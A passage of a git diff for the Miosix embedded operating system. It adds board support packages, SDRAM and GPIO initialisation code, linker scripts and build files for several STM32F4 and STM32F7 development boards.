GPIOI->OSPEEDR=0xaaaaaaaa | 0x003cffff; + GPIOJ->OSPEEDR=0xaaaaaaaa; + GPIOK->OSPEEDR=0xaaaaaaaa; + + //Second, actually start the SDRAM controller + RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; + RCC_SYNC(); + + //SDRAM is a MT48LC4M32B2B5 -6A speed grade, connected to bank 1 (0xc0000000) + FMC_Bank5_6->SDCR[0]=FMC_SDCR1_SDCLK_1// SDRAM runs @ half CPU frequency + | FMC_SDCR1_RBURST // Enable read burst + | 0 // 0 delay between reads after CAS + | 0 // 8 bit column address + | FMC_SDCR1_NR_0 // 12 bit row address + | FMC_SDCR1_MWID_1 // 32 bit data bus + | FMC_SDCR1_NB // 4 banks + | FMC_SDCR1_CAS_0 // 3 cycle CAS latency + | FMC_SDCR1_CAS_1; + + FMC_Bank5_6->SDTR[0]=sdramSDTR<2,18,18,20,60,42,67,20>(); + + FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB1 // Enable bank 1 + | 1; // MODE=001 clock enabled + sdramCommandWait(); + + //ST and SDRAM datasheet agree a 100us delay is required here. + delayUs(100); + + FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB1 // Enable bank 1 + | 2; // MODE=010 precharge all command + sdramCommandWait(); + + FMC_Bank5_6->SDCMR= (8-1)<<5 // NRFS=8 SDRAM datasheet says + // "at least two AUTO REFRESH cycles" + | FMC_SDCMR_CTB1 // Enable bank 1 + | 3; // MODE=011 auto refresh + sdramCommandWait(); + + FMC_Bank5_6->SDCMR=0x230<<9 // MRD=0x230:CAS latency=3 burst len=1 + | FMC_SDCMR_CTB1 // Enable bank 1 + | 4; // MODE=100 load mode register + sdramCommandWait(); + + FMC_Bank5_6->SDRTR=sdramSDRTR<2,4096,64>(); +} + +// static IRQDisplayPrint *irq_display; +void IRQbspInit() +{ + //If using SDRAM GPIOs are enabled by configureSdram(), else enable them here + #ifndef __ENABLE_XRAM + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | + RCC_AHB1ENR_GPIOIEN | RCC_AHB1ENR_GPIOJEN | + RCC_AHB1ENR_GPIOKEN; + RCC_SYNC(); + #endif //__ENABLE_XRAM + + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +// irq_display = new IRQDisplayPrint(); +// IRQsetDefaultConsole(intrusive_ref_ptr(irq_display)); +} + +// void* printIRQ(void *argv) +// { +// intrusive_ref_ptr irqq(irq_display); +// irqq.get()->printIRQ(); +// return NULL; +// } + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +// Thread::create(printIRQ, 2048, DEFAULT_PRIORITY, nullptr, Thread::DETACHED); +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..570d19bca --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp_impl.h @@ -0,0 +1,76 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss + * Requires the CPU clock to be already configured (running from the PLL) + */ +void configureSdram(); + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::low(); +} + +inline void ledOff() +{ + _led::high(); +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32f4discovery.cfg b/miosix/arch/board/stm32f469ni_stm32f469i-disco/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32f4discovery.cfg rename to miosix/arch/board/stm32f469ni_stm32f469i-disco/openocd.cfg diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/processes-kernel-xram.ld b/miosix/arch/board/stm32f469ni_stm32f469i-disco/processes-kernel-xram.ld new file mode 100644 index 000000000..5b948eeb0 --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/processes-kernel-xram.ld @@ -0,0 +1,28 @@ +/* + * Linker script for stm32f469 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 15872K; /* 512KB kernel memory, 15.5MB process pool */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 320K of internal SRAM. + * NOTE: the bootloader of this board also has the quirk that boot fails if the + * initial stack pointer is in the TCM, we need to put the IRQ stack in SRAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 320K + ram2(wx) : ORIGIN = 0xc0000000, LENGTH = 16M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/processes-xram.ld b/miosix/arch/board/stm32f469ni_stm32f469i-disco/processes-xram.ld new file mode 100644 index 000000000..d352ec002 --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/processes-xram.ld @@ -0,0 +1,29 @@ +/* + * Linker script for stm32f469 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +/* NOTE: _process_pool_size cannot be defined as all of ram2 is used */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 320K of internal SRAM. + * NOTE: the bootloader of this board also has the quirk that boot fails if the + * initial stack pointer is in the TCM, we need to put the IRQ stack in SRAM + * TODO: the previous linker script used the TCM for .data/.bss + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 320K + ram2(wx) : ORIGIN = 0xc0000000, LENGTH = 16M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-pool.ld diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/unikernel-xram-12m.ld b/miosix/arch/board/stm32f469ni_stm32f469i-disco/unikernel-xram-12m.ld new file mode 100644 index 000000000..296c577ff --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/unikernel-xram-12m.ld @@ -0,0 +1,32 @@ +/* + * Linker script for stm32f469 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 320K of internal SRAM. + * Since this linker script is for placing everything (but the IRQ stack) in + * XRAM, but the bootloader of this board has the quirk that boot fails if the + * initial stack pointer is in the TCM, we need to put the IRQ stack in SRAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 320K + ram2(wx) : ORIGIN = 0xc0000000, LENGTH = 12M /* XRAM */ +} + +/* + * NOTE: the SDRAM is 16MB, but this linker script only uses the lower 12. + * The upper 4MB are reserved as framebuffers for the LCD. The choice to + * allocate this space is due to the SDRAM architecture, composed of 4 banks of + * 4MB each. Reserving a bank for the LCD allows the software running on the + * board and the LCD to operate (almost) independently. + * Regardless, we want to configure the MPU to span the entire XRAM + */ +_xram_start = ORIGIN(ram2); +_xram_size = 16M; + +INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/unikernel-xram-16m.ld b/miosix/arch/board/stm32f469ni_stm32f469i-disco/unikernel-xram-16m.ld new file mode 100644 index 000000000..8361d0d90 --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/unikernel-xram-16m.ld @@ -0,0 +1,25 @@ +/* + * Linker script for stm32f469 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 320K of internal SRAM. + * Since this linker script is for placing everything (but the IRQ stack) in + * XRAM, but the bootloader of this board has the quirk that boot fails if the + * initial stack pointer is in the TCM, we need to put the IRQ stack in SRAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 320K + ram2(wx) : ORIGIN = 0xc0000000, LENGTH = 16M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f469ni_stm32f469i-disco/unikernel.ld b/miosix/arch/board/stm32f469ni_stm32f469i-disco/unikernel.ld new file mode 100644 index 000000000..d0d58da67 --- /dev/null +++ b/miosix/arch/board/stm32f469ni_stm32f469i-disco/unikernel.ld @@ -0,0 +1,23 @@ +/* + * Linker script for stm32f469 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * The bootloader of this board has the quirk that boot fails if the initial + * stack pointer is in the TCM, thus we need to put the IRQ stack with the heap + * in ram2 + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 320K +} + +/* Mark XRAM even if it's not used in memory map, may be used for framebuffer */ +_xram_start = 0xc0000000; +_xram_size = 16M; + +INCLUDE ldscripts/miosix-flash-2ram-separate-data-bss.ld diff --git a/miosix/arch/board/stm32f746zg_nucleo/CMakeLists.txt b/miosix/arch/board/stm32f746zg_nucleo/CMakeLists.txt new file mode 100644 index 000000000..4815111b4 --- /dev/null +++ b/miosix/arch/board/stm32f746zg_nucleo/CMakeLists.txt @@ -0,0 +1,40 @@ +## +## CMakeLists.txt for board stm32f746zg_nucleo +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f7) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7e-m+fp/hard) + +# The stm32f746 lacks the double precision FPU, so we will build for m4 +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F746ZG_NUCLEO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F746ZG_NUCLEO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f746zg_nucleo/Makefile.inc b/miosix/arch/board/stm32f746zg_nucleo/Makefile.inc new file mode 100644 index 000000000..93e7000d1 --- /dev/null +++ b/miosix/arch/board/stm32f746zg_nucleo/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for board stm32f746zg_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f7 + +## The stm32f746 lacks the double precision FPU, so we will build for m4 +CPU_FLAGS := -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F746ZG_NUCLEO +BOARD_CXXFLAGS := -D_BOARD_STM32F746ZG_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f746zg_nucleo/boot.cpp b/miosix/arch/board/stm32f746zg_nucleo/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f746zg_nucleo/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f746zg_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f746zg_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..bef724ce7 --- /dev/null +++ b/miosix/arch/board/stm32f746zg_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,26 @@ +#pragma once + +//stm32f7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and +//includes core_cm7.h. Do not include core_cm7.h before. +#define STM32F746xx +#include "CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h" + +#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) +#error "Wrong include order" +#endif + +#include "CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f74x,f75x RCC synchronization is required per the reference manual +//(RM0385 section 5.2.12). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 97, so there are 98 +#define MIOSIX_NUM_PERIPHERAL_IRQ 98 diff --git a/miosix/arch/board/stm32f746zg_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f746zg_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..e53e7c37f --- /dev/null +++ b/miosix/arch/board/stm32f746zg_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,126 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" + +#include +#include + +#include + +#include "board_settings.h" +#include "miosix_settings.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "interfaces/serial.h" +#include "filesystem/console/console_device.h" +#include "filesystem/file_access.h" +#include "interfaces/arch_registers.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "kernel/thread.h" +#include "kernel/logging.h" +#include "kernel/sync.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOF->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + + userLed1::mode(Mode::OUTPUT); + userLed2::mode(Mode::OUTPUT); + userLed3::mode(Mode::OUTPUT); + userBtn::mode(Mode::INPUT); + + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f746zg_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f746zg_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..eb9d5ad5c --- /dev/null +++ b/miosix/arch/board/stm32f746zg_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,99 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * Board pin definition + */ +typedef Gpio userLed1; +typedef Gpio userLed2; +typedef Gpio userLed3; +typedef Gpio userBtn; + +inline void ledOn() +{ + userLed1::high(); + userLed2::high(); + userLed3::high(); +} + +inline void ledOff() +{ + userLed1::low(); + userLed2::low(); + userLed3::low(); +} + +inline void led1On() { userLed1::high(); } + +inline void led1Off() { userLed1::low(); } + +inline void led2On() { userLed2::high(); } + +inline void led2Off() { userLed2::low(); } + +inline void led3On() { userLed3::high(); } + +inline void led3Off() { userLed3::low(); } + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * TODO: never tested + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/openocd.cfg b/miosix/arch/board/stm32f746zg_nucleo/openocd.cfg similarity index 100% rename from miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/openocd.cfg rename to miosix/arch/board/stm32f746zg_nucleo/openocd.cfg diff --git a/miosix/arch/board/stm32f746zg_nucleo/processes.ld b/miosix/arch/board/stm32f746zg_nucleo/processes.ld new file mode 100644 index 000000000..8bd45e851 --- /dev/null +++ b/miosix/arch/board/stm32f746zg_nucleo/processes.ld @@ -0,0 +1,23 @@ +/* + * Linker script for stm32f746 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 256K; + +/* + * NOTE: starting at 0x20000000 there's 64KB of DTCM (Data Tightly Coupled + * Memory). We use this to store the kernel as there's a way for the DMA to + * access it, even though the datasheet is unclear about performance + * penalties for doing so. This leaves us with 256KB of RAM for the process pool + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 320K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f746zg_nucleo/unikernel.ld b/miosix/arch/board/stm32f746zg_nucleo/unikernel.ld new file mode 100644 index 000000000..cb2f433c1 --- /dev/null +++ b/miosix/arch/board/stm32f746zg_nucleo/unikernel.ld @@ -0,0 +1,23 @@ +/* + * Linker script for stm32f746 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x20000000 there's 64KB of DTCM (Data Tightly Coupled + * Memory). Technically, we could use this as normal RAM as there's a way for + * the DMA to access it, but the datasheet is unclear about performance + * penalties for doing so. To avoid nonuniform DMA memory access latencies, + * we leave this 64KB DTCM unused. This leaves us with 256KB of RAM. + * TODO: in the processes linker script the entire kernel was moved in the + * dtcm and it worked, maybe reconsider using the dtcm someday + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + /* ram(wx) : ORIGIN = 0x20000000, LENGTH = 320K */ + ram(wx) : ORIGIN = 0x20010000, LENGTH = 256K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/CMakeLists.txt b/miosix/arch/board/stm32f765ii_marco_ram_board/CMakeLists.txt new file mode 100644 index 000000000..b02e4edec --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/CMakeLists.txt @@ -0,0 +1,69 @@ +## +## CMakeLists.txt for board stm32f765ii_marco_ram_board +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f7) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7e-m+dp/hard) + +# The stm32f767 has the double precision FPU, so we will build for m7 +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # Linker script type + # 1) - .text internal Flash + # - IRQ stack internal SRAM + # - .data, .bss internal SRAM + # - Heap (and thread stacks) internal SRAM + # The most common choice, available for all microcontrollers + unikernel.ld + # 2) - .text internal Flash + # - IRQ stack internal SRAM + # - .data, .bss internal SRAM + # - Heap (and thread stacks) external SDRAM (bank 1) + # For application with small static buffers. Only uses SDRAM bank 1. + unikernel-xram-heap.ld + # 3) - .text internal Flash + # - IRQ stack internal SRAM + # - .data, .bss external SDRAM (bank 1) + # - Heap (and thread stacks) external SDRAM (bank 1) + # For application with large static buffers. Only uses SDRAM bank 1. + unikernel-xram.ld + # 4) - .text internal Flash + # - IRQ stack internal SRAM + # - .data, .bss internal SRAM + # - Heap (and thread stacks) internal SRAM + # - Process Pool internal SRAM + processes.ld -DWITH_PROCESSES + # 5) stm32_2m+384k_xram_256M_processes.ld + # - .text internal Flash + # - IRQ stack internal SRAM + # - .data, .bss internal SRAM + # - Heap (and thread stacks) internal SRAM + # - Process Pool external SDRAM (bank 1) + processes-xram.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-xram-heap.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F765II_MARCO_RAM_BOARD) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F765II_MARCO_RAM_BOARD) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE openocd -f "${MIOSIX_BOARD_INC}/openocd.cfg" -c "program \"\" 0x8000000 verify reset" -c shutdown) diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/Makefile.inc b/miosix/arch/board/stm32f765ii_marco_ram_board/Makefile.inc new file mode 100644 index 